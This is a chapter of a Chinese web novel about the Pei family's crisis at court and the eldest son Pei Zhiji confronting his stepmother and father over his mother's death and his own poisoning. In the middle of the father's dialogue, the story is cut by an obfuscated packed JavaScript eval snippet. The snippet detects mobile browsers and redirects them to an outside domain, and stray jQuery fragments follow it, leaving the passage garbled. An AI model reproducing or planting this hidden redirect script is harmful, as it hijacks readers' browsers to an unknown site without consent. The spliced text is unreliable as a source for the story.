寿康宫鸦雀无闻,只听起跪靴履摩擦之声,提惑跑出了汗,殿前可是出了大事,由不得他慢。
他一刻不敢耽误,跪在地上。
“启禀太后,裴相家的二公子失手将国公爷的小公子打死了,这会薛国公与裴相在殿前闹的不可开交,说要让裴二公子偿命,二人争的得面红耳赤,被陛下以殿前失仪的罪责软禁在了各家府里。”
捏在太后肩颈上的一双手微顿,陆绥珠的心随着提惑顿挫有致的话越发突突跳得厉害。
怎会将人打死了?裴怀慎并不是暴虐之人。
“太子妃呢,她的亲堂弟,她就没来求求情?蓝绸莲纹扶枕垫着太后硬梆梆的腰,她说两句话就有些力尽神危。
“东宫那边说,太子和太子妃生了龃龉,太子妃闹着要去青城山上当姑子,太子一气之下将太子妃囚禁在了椒兰殿,不许任何人进去探望。”
太后峨眉倒蹙,说到底这是孙辈的事情,她也不便于插手。
如今皇帝身子骨渐渐好了,愈发有处理政务的精神,倒是她这把老骨头不中用了,即便心里明白皇帝存着什么心思,也只好装聋作哑,只随口提了一嘴:“裴尚书呢?”
“裴尚书从上午就一直在勤政殿议事,现在还没有出来。”
陆绥珠抚了一首清心助眠的曲子,调子比平时快了两分,眼见太后困倦的阖上了凤眸,呼吸变得绵长规律。
她吐出口气,知会了提惑一声,便提着裙摆匆匆赶往宫外,心中有些惶惶不安。
笼着层阴翳的裴府,空气沤积着凝重,几位主子都垮塌着脸,下人做活时都不敢抬起头。
春晖堂如湿土般粘稠紧密,老太君附着在首位,针扎般的沉寂。
唯有陈氏坐不住,地上踱来踱去,不时哀天叹地,实在是有些扎煞手了,她倒不是为着大房的裴怀慎。
话说她家老爷被一小民状告强抢民女,这会子被带走询话,她火急火燎托人去东宫给太子妃送信,结果信竟被原封不动的退了回来,还捎带得了个太子妃被软禁的消息。
她这会焦头烂额,舌头急出来火燎泡,乜斜偷看裴夫人的神情,说到底还是大房的事更严重些。
裴相方才回来就气得直接钻进了书房,谁问话都不理,适才问了随侍小厮才知晓,不仅怀慎之事未办妥当,他反倒因殿前失仪被“请”了回来。
几个妇人各怀心思互不理睬,整个春晖堂唯余玉石条盆里浇水往下渗漏之残音。
接着有腕上缠绕的菩提珠一颗颗碰撞发出闷响,老太君闭着眼额头仍有皱纹横生。
这样沉默的过了一会,突然听着小厮连滚带爬的过来通报:“大公子,大公子回来了!”
菩提珠绷断了弦,劈里啪啦散落在红毡上,老太君站起了身。
众人翘首期盼的目光中,裴执玑靴履从容神态自若,较之平日也没什么不同。
还是陈氏先沉不住气,手里的鲛帕在掌心吸饱了汗沉沉的坠着:“怎么样?你二叔如何?”
问完话,陈氏感觉头顶被冷意烘着,上面的目光狠觑在身上,她忙改口加上:“还有怀慎那边到底如何了?你别不说话,我们在这等的都要急死了。”
“二婶先将裴纫送出去读阵子书。”
闻拐杖咚咚捶地,老太君急言道:“你这是何意,为何让你二婶送阿纫出去,怀慎之事再难斡旋,可你是尚书怎么可能没办法。”
“薛国公是三朝辅臣,他的儿子不是普通人。”
简而言之就是救不了。
老太君脱力向后面跌了过去,一时头晕眼黑气短神虚,怀慎可是她最喜爱的孙儿,芸嬷嬷将她扶住,哭跪着哀求:“大公子想想办法啊,若真是白发人送黑发人可是要了老太君的命啊!”
裴执玑心中苦涩无比,好像被人用绳锁勒拽,渐渐生一股窒息之意,需要用力才能挺直脊背离开这个吵嚷之地。
裴夫人拦住他的去路,手轻扯他官袍衣袖。
心中烦躁之时再难掩饰嫌恶,裴执玑冷眼睨着,疏离的眉眼中好似遮挡了一座荒芜的山。
他看她的眼中分明有…恨意?
万千想法将要破土而出,又被裴夫人死死钳住。
不会的,不会的,当年之事如此隐秘,况且这么多年过去都是风平浪静,他若是知晓真相不会一直隐忍不发。
她竭力控制慌乱,两根指头还是交互掐出了血印子,面上装作若无其事。
“执玑,怀慎与你一向手足情深,他平日也最是爱重你这个大哥,你一定都能救他的对不对?”
素衣玉钗穿戴的多么像个慈眉善目的菩萨,声音抖能这样却不失世家宗妇的体面。
这样严肃的场合裴执玑却是笑出了声,不是快活的笑意,是平静面孔下掀起的汹涌波澜。
所有人目光落在他母子二人身上。
裴执玑连敬辞都没有了:“你与父亲浓情恩爱,不如去求求他,看他能不能救你们的宝贝儿子。”
浓情恩爱?
裴夫人心咯噔沉了下去,面色如脏水浮萍泛着青绿,也撒开了握着他衣袖的手。
多年尘灰解封,散在局促的空气中,自一股腐烂霉味。
晕过去的老太君悠悠转醒,气得要掀起拐杖去打裴执玑:“你怎么能说出这样大逆不道的话,你是疯了吗,你母亲求你,你这是什么态度,你若不去救,我便穿着诰命进宫,豁上了我这把老骨头去求陛下!”
咳嗽气喘声在春晖堂此起彼伏,众人忙成了一团又是拍背又是递水。
拐杖没能落在他身上,侧身避开时老太君直直栽倒,摔得龇牙呼痛,裴执玑伸在半空的手也滞住了。
丫鬟都低着头不敢乱瞟,陈氏也如见鬼般,这裴家懂事争气的嫡长子是疯了不成?
一堆人围着老太君嘘寒问暖,裴执玑也不去自讨没趣,撂下了一句:“祖母请自便。”
跨过门槛时心中盘桓了几圈,突然顿住叫道:“二婶。”
“诶——二婶在呢!”被点到的陈氏吓得一愣,嘴和腿比脑子反应还快,已经小跑了到了裴执玑身边。
如今她总算瞧出来这个家里最嚣张的人是谁。
“祖母伤心过度,精神失常,还是送庄子上休养比较好,二婶若不放心祖母,也可陪着一起。”
“不不不,好侄儿,老太君自己精神不好,我还是挺好的,二婶就先不去了。”陈氏赔笑打哈哈。
开什么玩笑,她在庄子上吃了两个月清粥馒头刚被接回来,就是豁出去得罪人都不想再去吃苦受罪了。
“陈氏,你……”老太君差点气得又背过去。
陈氏低着头,就不往她那瞟。
“二婶这么识时务,二叔也可少受些苦,我会尽快把人救出来,姜氏忧心怀慎恐精力不济,家中庶务就烦请二婶代为掌管。”
姜氏?她看了一眼脸色煞白的大嫂,差点就要笑出来,让老太君和大嫂总是打压她,这会子可是有人治她们了。
目光成刃扫来,陈氏就是不接招,这个管家权可是他们大房亲手交过来的,怨不得她。
陈氏手脚麻利的张罗着将老太君送走的一干事宜,裴执玑给了五日的期限,她说什么也得把这个差事使办好。
一声声“反了天了,逆子,不孝子孙”的叫骂中掺和着陈氏劝慰:“老太君您别生气了,执玑还说把他二叔救出来呢,人这不是挺好的吗。”
喋喋不休的唠叨和抽嗒的哭泣仍在春晖堂里无休无止。
素衣褐衫的裴夫人提着肝胆,一路避人,到了无人的池塘边终于不装了,姜蔓蕤定眼看着面前这个城府深沉的继子。
“到底要怎么样,你才肯救怀慎?”
“姨母说笑了,我不明白你的意思。”裴执玑要她亲自说出口,亲手打碎自己这张伪善的面具。
姜蔓蕤始终一字不提他母亲,他知道她心里的权衡忖度还未结束,不到山穷水尽之时她绝不会让自己陷入绝境,这也是她的聪明之处。
所谓胸有激雷而面如平湖者,可拜上将军,呵且看她能否扳回这一城。
西北侧的云成坨聚在一起,裴执玑盯着看了很久,那个方向是裴家的墓地,看时眼中含有复杂的愧意。
他反复尝试,还是不能原谅母亲这个亲爱的妹妹。
不知何人去报了信,说家里都乱成了一锅粥了,一上午在房里生闷气的裴中恪闻讯而至。
转手一巴掌拍在书案上,纸笺零落,其中几张格外薄削的柔柔盖在了裴执玑脚面上。
“你个逆子,都敢顶撞老太君了,你眼里还有我这个父亲吗!”
裴执玑弯腰从他脚边拾起一页纸,泛黄的娟秀字迹他从来都是整齐的夹在书页里。
今日他来了,它却自己飞了出来,裴执玑为这不合时宜的缠绵婉转而深觉可悲,扬唇吹了吹上面的灰,小心放回了檀木桌案。
再抬眼看这个遇事只知跳脚的父亲,只觉得胸中积怨更甚。
裴中恪浑然无觉,见他趋于沉默,只当是自己找回了为父者的尊荣,他本也不想和这个儿子闹僵,遂缓和了语气开始下达命令。
“为父近来不…太方便出去,怀慎的事情你来想办法斡旋。”
“还有我今日去东宫求援,太子却闭门不见,思来想去一定是你得罪他了,裴家与东宫唇亡齿寒,为父知晓你心思重平时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16227904|170226||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也都随你去,但现在裴家危机难渡,你万万不可再与东宫结仇怨了。”
“唇亡齿寒?”裴执玑简直想给他这个官居相位的父亲拍手鼓掌:“父亲,东宫若与我们真是一条心,太子妃的儿子怎么会死,你想过吗?”
裴中恪胡子一撇否认不迭,只能用怒吼压制眼前这个不服管教的长子。
奈何裴执玑根本就没想给他留颜面。
“父亲懦弱无能刚愎自用,文臣之家偏偏纵容弟弟去当武将,将长姐送进宫不提还纵容姜氏设计把兰瑛也送过去,父亲表面与世无争淡泊名利,背地里干了多少龌龊事。”
裴执玑因声高脸有了些血色,哪怕是愤怒至极也忍耐着没将手指上他父亲的鼻子。
袖中的手臂蜷成僵蚓麻到心尖,一句句话直戳对面人的肺管子。
裴中恪觉得自己似乎从来就不认识这个儿子。
他摇着头看了看四周,只有大雨将至带过来的风,无人能帮他说话,他瞪着裴执玑嘴里说:“疯了疯了简直是疯了。”
说罢将手背在身后,抬脚就要离开这个让他没脸的地方。
迟来多年的父子交心,裴执玑很是珍惜怎能这么轻易的放他走。
外间的门“哐当”一声响被飕飕的风吹得吱吱嘎嘎关不紧也打不开,萧风索夜门神般驻守着门外。
裴中恪瞬间后悔踏进这扇门了,汗湿了鬓发。
那张娟秀的字迹重新落回了他手掌,裴中恪皱眉仔细地看了看,脑海中无数画影闪现,他想抓住什么,绞尽脑汁终于从万千无边际的嗡嗡声中抓取了一丝沉久酿的蜜糖。“是…你母亲?”
姜知鹤,这个美丽名字许久未在他人生中出现了,他下意识逃避,可是她的儿子就活生生站他面前逼迫他。
“母亲年少痴情爱你都快爱傻了,姜氏屡次戕害你却冷眼旁观只求息事宁人,你分明什么都知道,我说的对不对?”
裴中恪一下子跌到椅子上,眼含惊恐头摇着像破浪鼓:“我不知道,我根本就不知道你在说什么,你母亲就是病死的,连你也是因为母体虚弱而导致早产才身体不好的。”
“别装了,这里没有外人。”裴执玑从紧咬的齿间溢出几个破碎声调拼凑成句。
“我身体里淤积的毒素一天天摧垮着我的身体,你试过那种冷到透着骨的滋味吗?你试过大口吐着鲜血后伴随的亏空感吗?你试过心爱的女子伏在胸口哭泣,你却被病痛折磨醒不过来的无奈吗?
“我成年后姜蔓蕤送来的一碗碗草乌头,都是想至我于死地,父亲还有什么话要说?”
他想亲口听见答案。
裴中恪嘴唇哆嗦着发紫:“我以为她改了,我不知道她对你下毒。”
他要逃走,却发现半边身子麻痹,从椅子上掉下来爬都爬不出去,只能瘫在地上歪着嘴巴,手艰难的指着裴执玑,吐出残破的几个字。
“你要弑父?”
他终于承认了,这一切他都是知情的。
裴执玑胸口奇异的起伏,有种尘埃落定感,他总算是没白冤枉了这个父亲。
弑父?真是可笑,他怎么会弑父呢。
“我是陛下最器重的臣子,怎会做出这种自毁前途之事,父亲病了就好生卧床歇着,这个裴家以后都由我裴执玑来掌。”
地上的人吐出一口黑血,头支撑不动了无生气的耷拉着。
窗子那边有细微声响入耳,该是窗屉不曾扣好塌了屈戌了吊下来。
萧风听见动静进来查看,掀开窗屉边的帘子,却是陆绥珠攥着手指缓缓走出。
她茫然失措的看着眼前满室的凌乱。
裴中恪半身不遂,眼睛直勾勾盯着他们,想说却说不出话,萧风单膝跪地将他摆好姿势,顶着斜风背了出去。
外面大雨滂沱,裴执玑背对风雨,极力在她面前体维持着体面的姿势。
陆绥珠步伐小心又带着犹豫,亲眼见证了一场裴府的血雨腥风,她的膝盖不知怎得也难以蜷曲。
对面的目光在看她,在打量,在等她先开口。
紧锣密鼓的雨,咚咚咚的心跳。
迟钝的脚步,步步踩在裴执玑跳得温吞的心脏上。
她在怕他。
裴执玑沉默的注视,始终没有催促。
他踅身将门打开,又从书房拿过一把悬挂的青绸油伞放在门边,混沌而迟缓的做完这些,低沉的声音中藏着无尽的疲倦。“既然害怕就走吧。”
地上血淋淋刺目,他痛苦地闭目蹙眉。
身上铺天盖地的冷气都被人紧紧裹住,陆绥珠从后面抱他,头贴在他已经弯曲的脊背上。
“不怕,不怕的。”